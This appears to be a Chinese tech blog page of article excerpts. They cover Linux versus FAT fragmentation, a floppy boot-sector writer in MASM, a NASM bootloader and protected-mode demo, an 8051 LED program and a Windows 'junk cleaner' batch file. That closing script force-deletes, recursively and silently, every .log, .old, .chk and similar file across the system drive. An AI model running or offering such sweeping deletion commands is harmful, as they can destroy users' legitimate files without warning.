但是,当我们需要修改第一个文件的时候,问题就出来了。现在假设我们需要在“hello.txt”文件的尾部加入两个感叹号,我们就会遇到问题:没有空间!文件“bye.txt”挡住了“hello.txt”的去路。这时候我们有两个解决方法,但是没有一个是完美的。

1 我们把文件“hello.txt”删掉,然后再“bye.txt”后面加入修改过后的“hello.txt”。
2 我们把文件“hello.txt”拆成两部分存储,这样在“bye.txt”之前就不会有空的磁盘空间了。

第一种种方式表现出来就是这样:

a b c d e f g h i j k l m n o p q r s t u v w x y z

a T O C h e l l o . t x t a f n f b y e . t x t m e z
b e 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
c 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
d 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 T O C
e 0 0 0 0 0 0 0 0 0 0 0 0 G o o d b y e , _ w o r l d
f H e l l o , _ w o r l d ! ! 0 0 0 0 0 0 0 0 0 0 0 0

第二种种方式表现出来就是这样:

a b c d e f g h i j k l m n o p q r s t u v w x y z

a T O C h e l l o . t x t a e l e a f b f b y e . t x
b t m e z e 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
c 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
d 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 T O C
e H e l l o , _ w o r l d G o o d b y e , _ w o r l d
f ! ! 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

这就是为什么FAT格式的文件系统经常需要磁盘碎片整理的原因。所有的文件都紧挨着存放,所以任何时候,只要一个文件需要增大,就会产生碎片。而任何文件被删除了,就会留下一个空白区域。于是很快磁盘就会变成一堆乱糟糟的随便和空白,效率就会变低了。

而Linux 却用一种不同的方式来处理这种问题。对于单用户来说Windows的文件系统已经够好的了,但是Linux生来就是为多用户设计的系统,它总是假设在同一时间有多个用户试图去操作不同的文件。所以Linux相对FAT文件系统,使用了另一种方法来设计自己的文件系统。Linux文件系统看起来是这样的:

a b c d e f g h i j k l m n o p q r s t u v w x y z

a T O C h e l l o . t x t h n s n 0 0 0 0 0 0 0 0 0 0
b 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
c 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
d 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 T O C
e 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
f 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
g 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
h 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
i 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
j 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
k 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
l 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
m 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
n 0 0 0 0 0 0 0 H e l l o , _ w o r l d 0 0 0 0 0 0 0
o 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
p 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
q 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
r 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
s 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
t 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
u 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
v 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
w 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
y 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
z 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

当我们添加了文件以后就变成这样了:

a b c d e f g h i j k l m n o p q r s t u v w x y z

a T O C h e l l o . t x t h n s n b y e . t x t d u q
b u 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
c 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
d 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 T O C
e 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
f 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
g 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
h 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
i 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
j 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
k 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
l 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
m 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
n 0 0 0 0 0 0 0 H e l l o , _ w o r l d 0 0 0 0 0 0 0
o 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
p 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
q 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
r 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
s 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
t 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
u 0 0 0 G o o d b y e , _ w o r l d 0 0 0 0 0 0 0 0 0
v 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
w 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
y 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
z 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

这种文件系统的好处是磁盘的磁头可以一直位于中间位置,而所有的文件平均下来都会非常近。

当我们仍然给“hello.txt”加入两个感叹号时,我们来看看这会引起多大的麻烦:

a b c d e f g h i j k l m n o p q r s t u v w x y z

a T O C h e l l o . t x t h n u n b y e . t x t d u q
b u 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
c 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
d 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 T O C
e 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
f 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
g 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
h 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
i 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
j 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
k 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
l 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
m 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
n 0 0 0 0 0 0 0 H e l l o , _ w o r l d ! ! 0 0 0 0 0
o 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
p 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
q 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
r 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
s 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
t 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
u 0 0 0 G o o d b y e , _ w o r l d 0 0 0 0 0 0 0 0 0
v 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
w 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
y 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
z 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

对了!一点麻烦都没有!

Windows总是试图把文件存储在尽量靠近磁盘开始位置的地方,这导致当磁盘利用率变高的时候它经常会产生磁盘碎片。

Linux却在整个磁盘上存储文件,所以当文件的大小需要改变的时候,总是有足够的空间。

当然当磁盘利用率接近饱和的时候Linux也会需要文件整理。但是只要磁盘还有20%以上的可用空间,那么这种整理是基本不会发生的。

还有一点必须了解的是,即使当一个操作系统说某个磁盘已经完全碎片整理完毕了,但是根据一个磁盘的物理结构,碎片仍然会存在。因为磁盘总是由很多盘片和磁道组成的。

让我们来看看一个磁盘有两个盘片,aa到zm是第一个,an到zz是第二个。

a b c d e f g h i j k l m n o p q r s t u v w x y z

a 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
b 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
c 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
d 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
e 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
f 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
g 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
h 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
i 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
j 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
k 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
l 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
m 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

a b c d e f g h i j k l m n o p q r s t u v w x y z

n 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
o 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
p 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
q 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
r 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
s 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
t 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
u 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
v 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
w 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
y 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
z 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

一下的文件系统是有碎片的,因为文件横跨了行m和n。而这两行不是在一个盘片上的。要读取这个文件,磁盘的磁头必须从盘片1的最末尾跨越到盘片2的最开始。

a b c d e f g h i j k l m n o p q r s t u v w x y z

a T O C h e l l o . t x t r m e n 0 0 0 0 0 0 0 0 0 0
b 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
c 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
d 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
e 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
f 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
g 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
h 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
i 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
j 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
k 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
l 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
m 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 H e l l o , _ w o

a b c d e f g h i j k l m n o p q r s t u v w x y z

n r l d ! ! 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
o 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
p 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
q 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
r 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
s 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
t 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
u 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
v 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
w 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
y 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
z 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

最后,希望我以上的解释能让你明白为什么Linux不需要磁盘碎片整理,如果你还是没有明白,请尽管提出让你疑惑的地方。


对windows进行磁盘碎片整理的朋友,这里也做一点小小的友情提示。

  1、整理磁盘碎片的时候,要关闭其他所有的应用程序,包括屏幕保护程序,最好将虚拟内存的大小设置为固定值。不要对磁盘进行读写操作。

  2、整理磁盘碎片的频率要控制合适,过于频繁的整理也会缩短磁盘的寿命。一般经常读写的磁盘分区一周整理一次。

  最后想说说思考的话题。

  那些想在linux下进行磁盘碎片整理的朋友,你们考虑过两个事实吗?

  第一,为什么类unix系统产生几十年了,没有人做一个磁盘碎片整理软件?而即使是到现在,在这个论坛上也没有朋友提到过遇到linux病毒,我们仍然能找到许多类unix杀毒软件?我就至少能列出3种免费杀毒软件。

  第二,很多类unix操作系统都是长年累月不关机的,诸如银行、电信、军工等系统,你能想象它们停止磁盘读写,在长达几小时内进行磁盘碎片整理所带来的后果吗?这些机器的磁盘读写量可是比家用机大多了。
继续阅读...

;它实现的功能是制作一张可引导的软盘,软盘的实际内容则是一段程序,则段程序在系统引导的时候在屏幕
;上打印一大串的‘a’。只要你有想象力,你就可以把它变成你想要的任何东西。
;程序的使用方法是:
;1.新建一个文本文件(setup.asm)把上面的程序拷贝到进去,保存
;2.用masm和link编译成.exe 文件。执行masm setup.asm;命令和link setup.obj;命令,生成的可执行文件名为setup.exe
;3.将软盘插入软驱,双击setup.exe程序运行,这样你就有了一张引导盘了
;4.重起系统,从软驱启动,你就会在屏幕上显示一大串‘a',这就是我们的杰作!


assume cs:code
;用来生成一个引导盘
;即把引导程序(boot)加载到软盘的第一个分区
code segment
main:
mov ah,3 ;3号功能是写,2号是读
mov al,1 ;扇区数
mov ch,0 ;磁道号
mov cl,1 ;起始的扇区号
mov dh,0 ;磁头号
mov dl,1 ;驱动器号,这里用的是B:盘,如果是A: 则是 mov dl,0

mov bx,cs
mov es,bx
mov bx,offset boot ;es:bx指向i/o缓冲地址
mov byte ptr es:[bx + 510],55h ;有效标识
mov byte ptr es:[bx + 511],0aah

int 13h ;bios磁盘存取功能
ret:
mov ax,4c00h
int 21h
;下面的是系统的引导程序
;他在软盘的第一个扇区中
;pc加点时它被加载到0x7c00h
boot:
mov bx,0b800h
mov es,bx
mov bx,100
mov cx,100h
s: mov byte ptr es:[bx],'a'
add bx,2h
loop s
code ends

end
继续阅读...

NASM当初被设计出来的想法是'comp.lang.asm.x86'(或者可能是'alt.lang.asm',我忘了),从本质上讲,是因为没有一个好的免费的x86系例的汇编器可以使用,所以,必须有人来写一个。
  (*)'a86'不错,但不是免费的,而且你不可能得到32位代码编写的功能,除非你付费,它只使用在dos上。
  (*) 'gas'是免费的,而且在dos下和unix下都可以使用,但是它是作为'gcc'的一个后台而设计的,并不是很好,'gcc'一直就提供给它绝对正确的代码,所以它的错误检测功能相当弱,还有就是对于任何一个想真正利用它写点东西的人来讲,它的语法简直太可怕了,并且你无法在里面写正确的16位代码。
  (*) 'as86'是专门为Minix和Linux设计的,但看上去并没有很多文档可以参考。
  (*) 'MASM'不是很好,并且相当贵,还且只能运行在DOS下。
  (*) 'TASM'好一些,但却极入与MASM保持兼容,这就意味着无数的伪操作码和繁琐的约定,并且它的语法本质上就是MASM的,伴随着的就是一些自相矛盾和奇怪的东西。它也是相当贵的,并且只能运行在DOS下。

NASM命令行语法

想要获取更多的关于NASM的使用信息,请输入:
nasm –h
'-o'选项:指定输出文件的文件名。
`-f'选项:指定输出文件的格式。缺省的输出格式总是'bin'
`-M'选项: 产生Makefile依赖关系.
`-i'选项: 包含文件搜索路径

NASM用户速成。
NASM是大小写敏感的。
NASM需要方括号来引用内存地址。'mov ax,[bar]'
NASM不存储变量的类型。'mov word [var],2'
NASM不支持内存模型。调用外部函数时在需要的编写CALL FAR指令
NASM需要这样写:'stack resb 64',读作"保留64字节"。
继续阅读...

;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
;\\linyeeos.asm linyeeos微系统主代码
;\\编译 nasm linyeeos.asm -o linyeeos.img
;\\Write by linyee at [2007-02-11 ~ 2007-02-15]
;\\联系方式 www.linyee.net mythiner@2911.net QQ249033420
;\\
;\\-----------------
;\\version: 0.1
;\\功能说明: 引导程序测试演示
;\\
;\\学习小结: 今天[2007-02-12]终于攻克了实模式到保护模式的跳转问题
;\\ 以前失败的原因是对虚拟地址到线性地址转换认知不足
;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


;******************************************************
;代码段
[BITS 16] ;编译成16 位的指令
[ORG 0x7C00]

BOOTSTART equ $$ ;起始地址
;----------------------------------------------------------------------------------------------
jmp Boot
;----------------------------------------------------------------------------------------------
;预定义
BOOTSEG equ 0x0000 ;启动基址
LOADERSEG equ 0x9000 ;loader基址

BOOTDRIVER db 0 ;驱动器号
bootMsg db 'booting linyeeos ...',13,10,0

;----------------------------------------------------------------------------------------------
Boot:
mov [BOOTDRIVER] , dl ;得到启动的驱动器号

mov ax,cs ;同步段址
mov ds,ax
mov es,ax ;es=ds=cs

xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx ;数据寄存置0

mov si , bootMsg
call ShowMessage ;显示信息

;读入loader
;从磁盘的第1个扇区读到 0x9000:BOOTSTART 处
.readfloopy:
mov ax , LOADERSEG
mov es , ax
mov bx , BOOTSTART ;设置保存位置

mov ah , 2 ;13H-2 ==> 读扇区
mov al , EndSECTOR-1 ;读入扇区数( 2 个共1KB )
mov dl , [BOOTDRIVER] ;驱动器号
mov dh,0 ;磁头
mov ch , 0 ;柱面
mov cl , 1 ;扇区,0扇区为1
int 0x13
jc .readfloopy ;CF=1时,重试,CF=0时成功

mov al , [BOOTDRIVER] ;把启动驱动器号保存在0x90000 处
mov [0] , al

jmp LOADERSEG:LOADERSTART ;跳转到loader执行

;----------------------------------------------------------------------------------------------
ShowMessage:
;以下程序行为显示输出信息
push ax
push bx

mov ah , 0x0e ;设置显示模式
mov bh , 0x00 ;设置页码
mov bl , 0x07 ;设置字体属性
.nextchar:
lodsb
or al , al
jz .return ;退出
int 0x10
jmp .nextchar ;下一个字符
.return:
pop bx
pop ax
ret
;-----------------------------------------------------------------------------------------------
;引导区结束
times 510-($-$$) db 0
db 0x55
db 0xAA
;******************************************************


;******************************************************
;loader的代码
[BITS 16]
LOADERSTART equ $ ;loader偏移7e00H以保持代码在同一个文件
LOADERSECTOR equ ($-$$)/512+1 ;起始扇区号
;-------------------------------------------------------------------------------------
jmp Loader
;-----------------------------------------------------------------------------------------------
;预定义

;数据段
loadMsg db 'loading ...',13,10,0

;全局描述符表GDT 48位
gdt_addr:
dw 0x7fff ;GDT 表的大小 界限64kb
dw gdt ;GDT 表的位置 基地址低位
dw 0x0009 ;基地址高位 LOADERSEG >> 12

;段描述符64位
;B7 B6 B5 BIT4 BIT3 BIT2 BIT1 BIT0 B7 B6 B5 BIT4 BIT3 BIT2 BIT1 BIT0
;G D 0 AVL Limit(19...16) P DPL DT1 TYPE
;在80286保护方式下,段基地址只有24位长,而段界限只有16位长。
gdt:
gdt_null:
dw 0x0000 ;段限
dw 0x0000 ;低基址16位
dw 0x0000 ;属性低8位 高基址低8位
dw 0x0000 ;高基址高8位 属性高8位
;虚拟地址 0x0008:0x100==>线性地址 1号描述表中表示的基址+0x100
gdt_system_code:
dw 0x3fff ;段限=16K * 64KB = 64MB
dw 0x0000 ;段基址=0x00090000
dw 0x9a09
dw 0x00c0 ;属性=0xc09a
gdt_system_data: ;
dw 0x3fff
dw 0x0000
dw 0x9209
dw 0x00c0
gdt_system_graph: ;
dw 0x3fff
dw 0x8000
dw 0x920b ;0xb8000
dw 0x00c0

;-------------------------------------------------------------------------------------
;等待键盘控制器空闲的子程序
Empty_8042:
in al , 0x64
test al , 0x2
jnz Empty_8042
ret
;-------------------------------------------------------------------------------------
Loader:

mov ax,cs ;同步段址
mov ds,ax
mov es,ax ;es=ds=cs
mov ss,ax
;mov sp , ENDSYSTEM ;堆栈指针

xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx ;数据寄存置0

mov si , loadMsg
call ShowMessage ;显示信息


;下面开始为进入保护模式而进行初始化工作
cli ;关中断
lgdt [gdt_addr] ;载入gdt 的描述符

;打开地址线A20 ;兼容性,地址回卷
;in al,92H
;or al,00000010B
;out 92h,al

;下面打开A20 地址线
call Empty_8042
mov al , 0xd1
out 0x64 , al
call Empty_8042
mov al , 0xdf
out 0x60 , al
call Empty_8042

;下面设置进入32 位保护模式运行
mov eax , cr0
or eax , 1
mov cr0 , eax
;jmp $
jmp dword 0x8:SYSTEMSTART ;1000B为1号选择子.

;-----------------------------------------------------------------------------------------------
LoaderBuffer: ;缓存段, 使本文件编译后的文件大小必为512的倍数(即满扇)
times (($-$$)/512+1)*512-($-$$) db 0
;******************************************************

;******************************************************
;system的代码
[BITS 32]
SYSTEMSTART equ $ ;系统段的起始地址
SYSTEMSECTOR equ ($-$$)/512+1 ;起始扇区号
;-------------------------------------------------------------------------------------
jmp System
;-----------------------------------------------------------------------------------------------
startMsg db 'starting linyeeos ...',13,10,0
;-------------------------------------------------------------------------------------
System:
;mov si , startMsg
;call ShowMessage ;显示信息

;mov ax , 0x10
;mov ds , ax
mov ax,0x10
mov ds,ax
mov ax,0x18
mov gs,ax
mov edi,(80*10+0)*2 ;屏幕第10行,第0列
mov ah,0FH ;黑底白字
mov al , 'L'
mov [gs:edi] , ax
;mov cl , 0x04
;mov [0xb8001] , cl
jmp $
;-----------------------------------------------------------------------------------------------
;数据段
systemBuffer: ;缓存段, 使本文件编译后的文件大小必为512的倍数(即满扇)
times (($-$$)/512+1)*512-($-$$) db 0
;-----------------------------------------------------------------------------------------------
ENDSYSTEM equ $ ;
EndSECTOR equ ($-$$)/512+1 ;结束扇区
;******************************************************
osBuffer:
times 1474560-($-$$) db 0 ;本句是为节省使用工具的时间,使得编译后的文件直接为一个软盘境像文件
;******************************************************


编译工具nasmw.exe nasmw boot.asm -o linyeeos.img

编译完成后,用虚拟机测试。
linyeeos.bxrc

megs: 16
romimage: file="C:/Program Files/Bochs-2.2.6/BIOS-bochs-latest", address=0xf0000
vgaromimage: file="C:/Program Files/Bochs-2.2.6/VGABIOS-lgpl-latest"
floppya: 1_44=linyeeos.img, status=inserted
boot: floppy
log: bochsout.txt

将 linyeeos.bxrc linyeeos.img 放在同一个文件夹下,直接双击 linyeeos.bxrc即可,看到效果--(屏幕上输出了一行字及一个红色的L,bochs调试时,没有自动清屏要注意看)。
linyeeos.bxrc是一个bochs的配置文件。
继续阅读...


;******** 下面是主程序 ********
MAIN: CLR P1.7 ;主程序开始,P1.7输出低电平"0",让点亮发光二极管
ACALL DELAY ;调用延时子程序延时一段时间,让发光二极管亮一段时间
SETB P1.7 ;P1.7输出高电平"1",熄灭发光二极管
ACALL DELAY ;调用延时子程序延时一段时间,让发光二极管熄灭一段时间
AJMP MAIN ;跳转到程序开头重复执行

;******** 下面是延时子程序 ********
DELAY: MOV R7,#255
Y1: MOV R6,#255
DJNZ R6,$
DJNZ R7,Y1
RET ;延时子程序返回
END ;程序结束
继续阅读...

在Windows在安装和使用过程中都会产生相当多的垃圾文件,包括临时文件(如:*.tmp、*._mp)日志文件(*.log)、临时帮助文件(*.gid)、磁盘检查文件(*.chk)、临时备份文件(如:*.old、*.bak)以及其他临时文件。特别是如果一段时间不清理IE的临时文件夹 “Temporary Internet Files”,其中的缓存文件有时会占用上百MB的磁盘空间。这些LJ文件不仅仅浪费了宝贵的磁盘空间,严重时还会使系统运行慢如蜗牛。这点相信你肯定忍受不了吧!所以应及时清理系统的LJ文件的淤塞,保持系统的“苗条”身材,轻松流畅上网!朋友来吧,现在就让我们一起来快速清除系统垃圾吧!!下面是步骤很简单就两步!

在电脑屏幕的左下角按“开始→程序→附件→记事本”,把下面的文字复制进去,点“另存为”,路径选“桌面”,保存类型为“所有文件”,文件名为“清除系统 LJ.bat”,就完成了。记住后缀名一定要是.bat,ok!你的垃圾清除器就这样制作成功了! 双击它就能很快地清理垃圾文件,大约一分钟不到。

======就是下面的文字(这行不用复制)=============================
@echo off
echo 正在清除系统垃圾文件,请稍等......
del /f /s /q %systemdrive%\*.tmp
del /f /s /q %systemdrive%\*._mp
del /f /s /q %systemdrive%\*.log
del /f /s /q %systemdrive%\*.gid
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
